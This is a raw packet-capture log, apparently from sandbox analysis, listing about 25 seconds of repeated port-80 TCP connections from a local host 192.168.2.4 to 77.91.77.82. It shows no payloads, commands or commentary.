Jul 4, 2024 00:00:24.297383070 CEST	49800	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:24.300260067 CEST	80	49801	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:24.300322056 CEST	49801	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:24.300559044 CEST	49801	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:24.306099892 CEST	80	49801	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:25.010111094 CEST	80	49801	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:25.010343075 CEST	49801	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:25.021539927 CEST	49801	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:25.021893978 CEST	49802	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:25.027966022 CEST	80	49801	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:25.028028011 CEST	49801	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:25.028297901 CEST	80	49802	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:25.028356075 CEST	49802	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:25.028573990 CEST	49802	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:25.034917116 CEST	80	49802	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:25.753572941 CEST	80	49802	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:25.753645897 CEST	49802	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:25.869673967 CEST	49802	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:25.870143890 CEST	49803	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:25.875057936 CEST	80	49803	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:25.875309944 CEST	49803	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:25.875627041 CEST	80	49802	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:25.875680923 CEST	49802	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:25.875762939 CEST	49803	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:25.880506992 CEST	80	49803	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:25.882812977 CEST	49803	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:25.887084961 CEST	49804	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:25.893075943 CEST	80	49804	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:25.893219948 CEST	49804	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:25.893448114 CEST	49804	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:25.898403883 CEST	80	49804	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:26.614996910 CEST	80	49804	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:26.616051912 CEST	49804	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:26.738136053 CEST	49804	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:26.738418102 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:26.743774891 CEST	80	49804	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:26.743798018 CEST	80	49805	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:26.743858099 CEST	49804	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:26.743892908 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:26.744122028 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:26.750876904 CEST	80	49805	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:27.463308096 CEST	80	49805	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:27.463373899 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:27.467395067 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:27.467664957 CEST	49806	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:27.473989964 CEST	80	49806	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:27.474117041 CEST	49806	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:27.474348068 CEST	49806	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:27.474396944 CEST	80	49805	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:27.474530935 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:27.483800888 CEST	80	49806	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:28.169471025 CEST	80	49806	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:28.169533014 CEST	49806	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:28.275633097 CEST	49806	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:28.276029110 CEST	49807	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:28.283857107 CEST	80	49806	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:28.283953905 CEST	49806	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:28.284013987 CEST	80	49807	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:28.284087896 CEST	49807	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:28.284380913 CEST	49807	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:28.293198109 CEST	80	49807	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:29.007307053 CEST	80	49807	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:29.007483006 CEST	49807	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:29.010442019 CEST	49807	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:29.010776997 CEST	49808	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:29.017636061 CEST	80	49807	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:29.017802954 CEST	49807	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:29.017920017 CEST	80	49808	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:29.017990112 CEST	49808	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:29.018105030 CEST	49808	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:29.025101900 CEST	80	49808	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:29.764283895 CEST	80	49808	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:29.764466047 CEST	49808	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:29.871879101 CEST	49808	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:29.872210979 CEST	49809	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:29.877051115 CEST	80	49808	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:29.877100945 CEST	49808	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:29.877759933 CEST	80	49809	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:29.877835035 CEST	49809	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:29.877979040 CEST	49809	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:29.882977009 CEST	80	49809	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:30.578079939 CEST	80	49809	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:30.578145981 CEST	49809	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:30.580861092 CEST	49809	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:30.581546068 CEST	49810	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:30.586898088 CEST	80	49809	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:30.586956024 CEST	49809	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:30.586966991 CEST	80	49810	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:30.587030888 CEST	49810	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:30.587325096 CEST	49810	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:30.592526913 CEST	80	49810	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:31.310937881 CEST	80	49810	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:31.312066078 CEST	49810	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:31.417218924 CEST	49810	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:31.417592049 CEST	49811	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:31.423640013 CEST	80	49811	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:31.423711061 CEST	49811	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:31.423744917 CEST	80	49810	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:31.423789024 CEST	49810	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:31.424190044 CEST	49811	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:31.430583954 CEST	80	49811	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:32.117310047 CEST	80	49811	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:32.118037939 CEST	49811	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:32.120701075 CEST	49811	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:32.120994091 CEST	49812	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:32.127233028 CEST	80	49811	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:32.127501965 CEST	80	49812	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:32.127568007 CEST	49811	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:32.127602100 CEST	49812	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:32.127847910 CEST	49812	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:32.132117033 CEST	49812	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:32.134210110 CEST	80	49812	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:32.138345957 CEST	49812	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:32.247102022 CEST	49813	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:32.253601074 CEST	80	49813	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:32.253680944 CEST	49813	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:32.253896952 CEST	49813	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:32.260435104 CEST	80	49813	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:32.950643063 CEST	80	49813	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:32.950714111 CEST	49813	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:32.954500914 CEST	49813	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:32.955008984 CEST	49814	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:32.961117029 CEST	80	49813	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:32.961178064 CEST	49813	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:32.961272955 CEST	80	49814	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:32.961496115 CEST	49814	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:32.961683989 CEST	49814	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:32.967961073 CEST	80	49814	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:33.688319921 CEST	80	49814	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:33.688438892 CEST	49814	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:33.806962967 CEST	49814	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:33.807271957 CEST	49815	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:33.814367056 CEST	80	49815	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:33.814577103 CEST	49815	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:33.814609051 CEST	80	49814	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:33.814810991 CEST	49815	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:33.814829111 CEST	49814	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:33.821966887 CEST	80	49815	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:34.527631998 CEST	80	49815	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:34.527700901 CEST	49815	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:34.530493975 CEST	49815	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:34.530813932 CEST	49816	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:34.537379980 CEST	80	49815	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:34.537430048 CEST	49815	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:34.537798882 CEST	80	49816	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:34.538033009 CEST	49816	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:34.538290977 CEST	49816	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:34.545336962 CEST	80	49816	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:35.263413906 CEST	80	49816	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:35.266086102 CEST	49816	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:35.385154009 CEST	49816	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:35.385473967 CEST	49817	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:35.392291069 CEST	80	49817	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:35.392364979 CEST	49817	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:35.392777920 CEST	49817	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:35.392918110 CEST	80	49816	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:35.392973900 CEST	49816	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:35.399473906 CEST	80	49817	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:36.124289989 CEST	80	49817	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:36.124351025 CEST	49817	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:36.126874924 CEST	49817	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:36.127201080 CEST	49818	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:36.131970882 CEST	80	49817	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:36.131983995 CEST	80	49818	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:36.132038116 CEST	49817	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:36.132072926 CEST	49818	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:36.132334948 CEST	49818	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:36.137093067 CEST	80	49818	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:36.833728075 CEST	80	49818	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:36.833792925 CEST	49818	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:36.947283983 CEST	49818	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:36.947633982 CEST	49819	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:36.952373981 CEST	80	49819	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:36.952446938 CEST	80	49818	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:36.952518940 CEST	49818	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:36.952528954 CEST	49819	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:36.952666044 CEST	49819	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:36.957452059 CEST	80	49819	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:37.665821075 CEST	80	49819	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:37.666026115 CEST	49819	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:37.668720007 CEST	49819	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:37.669066906 CEST	49820	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:37.677666903 CEST	80	49820	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:37.677726030 CEST	49820	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:37.677912951 CEST	49820	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:37.678257942 CEST	80	49819	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:37.678312063 CEST	49819	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:37.686192989 CEST	80	49820	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:38.381954908 CEST	80	49820	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:38.382132053 CEST	49820	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:38.494476080 CEST	49820	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:38.495208979 CEST	49821	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:38.500051022 CEST	80	49820	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:38.500089884 CEST	80	49821	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:38.500139952 CEST	49820	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:38.500178099 CEST	49821	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:38.500456095 CEST	49821	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:38.507252932 CEST	80	49821	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:39.198282957 CEST	80	49821	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:39.198344946 CEST	49821	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:39.201415062 CEST	49821	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:39.201746941 CEST	49822	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:39.208123922 CEST	80	49822	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:39.208233118 CEST	49822	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:39.208292007 CEST	80	49821	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:39.208343029 CEST	49821	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:39.208456993 CEST	49822	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:39.215054989 CEST	80	49822	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:39.924390078 CEST	80	49822	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:39.924511909 CEST	49822	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:40.041148901 CEST	49822	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:40.041446924 CEST	49823	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:40.048084021 CEST	80	49822	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:40.048146963 CEST	80	49823	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:40.048192024 CEST	49822	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:40.048223019 CEST	49823	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:40.048456907 CEST	49823	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:40.055241108 CEST	80	49823	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:40.757754087 CEST	80	49823	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:40.757833004 CEST	49823	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:40.761531115 CEST	49823	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:40.768661976 CEST	80	49823	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:40.991748095 CEST	80	49823	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:40.991885900 CEST	49823	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:41.104880095 CEST	49823	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:41.105397940 CEST	49824	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:41.112016916 CEST	80	49823	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:41.112075090 CEST	49823	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:41.112178087 CEST	80	49824	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:41.112267971 CEST	49824	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:41.112504005 CEST	49824	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:41.119517088 CEST	80	49824	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:41.827753067 CEST	80	49824	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:41.827855110 CEST	49824	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:41.830593109 CEST	49824	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:41.830948114 CEST	49825	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:41.838670969 CEST	80	49824	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:41.838737011 CEST	49824	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:41.840420008 CEST	80	49825	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:41.840490103 CEST	49825	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:41.840610981 CEST	49825	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:41.850343943 CEST	80	49825	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:42.588346958 CEST	80	49825	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:42.588403940 CEST	49825	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:42.700117111 CEST	49825	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:42.700618982 CEST	49826	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:42.709269047 CEST	80	49825	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:42.709325075 CEST	49825	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:42.709414959 CEST	80	49826	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:42.709470987 CEST	49826	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:42.709661007 CEST	49826	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:42.718575954 CEST	80	49826	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:43.420589924 CEST	80	49826	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:43.420646906 CEST	49826	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:43.424783945 CEST	49826	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:43.425170898 CEST	49827	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:43.430164099 CEST	80	49827	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:43.430177927 CEST	80	49826	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:43.430222988 CEST	49827	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:43.430244923 CEST	49826	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:43.431628942 CEST	49827	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:43.436415911 CEST	80	49827	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:44.143651962 CEST	80	49827	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:44.143721104 CEST	49827	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:44.277023077 CEST	49827	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:44.277406931 CEST	49828	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:44.288538933 CEST	80	49828	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:44.288652897 CEST	49828	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:44.289009094 CEST	80	49827	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:44.289076090 CEST	49827	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:44.292118073 CEST	49828	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:44.301767111 CEST	80	49828	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:45.014018059 CEST	80	49828	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:45.014233112 CEST	49828	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:45.017224073 CEST	49828	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:45.017554045 CEST	49829	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:45.030633926 CEST	80	49828	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:45.030649900 CEST	80	49829	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:45.030678988 CEST	49828	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:45.030725002 CEST	49829	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:45.030983925 CEST	49829	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:45.039793968 CEST	80	49829	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:45.758064985 CEST	80	49829	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:45.758141041 CEST	49829	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:45.869144917 CEST	49829	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:45.869513035 CEST	49830	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:45.875580072 CEST	80	49829	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:45.875652075 CEST	49829	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:45.875698090 CEST	80	49830	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:45.875977993 CEST	49830	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:45.876178026 CEST	49830	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:45.883150101 CEST	80	49830	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:46.580185890 CEST	80	49830	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:46.580434084 CEST	49830	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:46.583313942 CEST	49830	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:46.583678007 CEST	49831	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:46.588495016 CEST	80	49830	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:46.588516951 CEST	80	49831	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:46.588556051 CEST	49830	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:46.588606119 CEST	49831	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:46.588923931 CEST	49831	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:46.593754053 CEST	80	49831	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:47.284645081 CEST	80	49831	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:47.284702063 CEST	49831	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:47.400652885 CEST	49831	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:47.401002884 CEST	49832	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:47.405854940 CEST	80	49832	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:47.405915976 CEST	49832	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:47.406161070 CEST	49832	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:47.411932945 CEST	80	49832	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:47.417433977 CEST	80	49831	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:47.417478085 CEST	49831	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:48.143874884 CEST	80	49832	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:48.143946886 CEST	49832	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:48.146886110 CEST	49832	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:48.147222996 CEST	49833	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:48.153413057 CEST	80	49833	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:48.153872013 CEST	80	49832	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:48.153950930 CEST	49832	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:48.154158115 CEST	49833	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:48.154158115 CEST	49833	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:48.161026001 CEST	80	49833	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:48.877268076 CEST	80	49833	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:48.877373934 CEST	49833	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:48.996201992 CEST	49833	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:48.996500015 CEST	49834	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:49.014693975 CEST	80	49833	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:49.014744043 CEST	49833	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:49.015759945 CEST	80	49834	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:49.015886068 CEST	49834	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:49.016149044 CEST	49834	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:49.034286022 CEST	80	49834	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:49.732397079 CEST	80	49834	77.91.77.82	192.168.2.4
